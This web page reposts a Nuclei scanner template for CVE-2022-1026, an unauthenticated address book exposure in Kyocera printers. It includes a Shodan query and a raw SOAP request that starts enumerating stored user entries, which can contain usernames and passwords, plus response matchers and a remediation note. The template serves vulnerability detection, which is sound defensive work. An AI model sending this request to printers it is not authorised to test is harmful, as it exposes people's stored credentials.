CVE-2022-1026: Kyocera Net View Address Book Exposure

2025-08-01 Kyocera Net View Address Book PoC Public

Description

Kyocera multifunction printers running vulnerable versions of Net View unintentionally expose sensitive user information, including usernames and passwords, through an insufficiently protected address book export function.

PoC

id: CVE-2022-1026

info:
  name: Kyocera Net View Address Book Exposure
  author: DhiyaneshDK
  severity: high
  description: |
    Kyocera multifunction printers running vulnerable versions of Net View unintentionally expose sensitive user information, including usernames and passwords, through an insufficiently protected address book export function.
  impact: |
    Unauthenticated attackers can export the address book from Kyocera printers containing sensitive user information including usernames and passwords without authentication.
  remediation: |
    Apply firmware updates provided by Kyocera or configure authentication for the address book export function.
  reference:
    - https://github.com/ac3lives/kyocera-cve-2022-1026
    - https://www.rapid7.com/blog/post/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2022-1026
    cwe-id: CWE-522
    epss-score: 0.14733
    epss-percentile: 0.96496
    cpe: cpe:2.3:a:kyocera:net_viewer:*:*:*:*:*:*:*:*
  metadata:
    vendor: kyocera
    product: net_viewer
    shodan-query: product:"Kyocera Printer Panel"
    max-request: 1
  tags: cve,cve2022,kyocera,exposure,vkev,intrusive,vuln

http:
  - raw:
      - |
        POST /ws/km-wsdl/setting/address_book HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/soap+xml

        <?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book"><SOAP-ENV:Header><wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration</wsa:Action></SOAP-ENV:Header><SOAP-ENV:Body><ns1:create_personal_address_enumerationRequest><ns1:number>25</ns1:number></ns1:create_personal_address_enumerationRequest></SOAP-ENV:Body></SOAP-ENV:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SOAP-ENV:Envelope"
          - "SOAP-ENV:Body"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/xml"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b39ae7742d2c6737c42a9b6bfb53a31ac96a5252325b8e8f34434196cc7470190220550f5b11cc4ffb716814fdff9f50687a7d23a2b71d10b014ad3b3cfdb6dd2c95:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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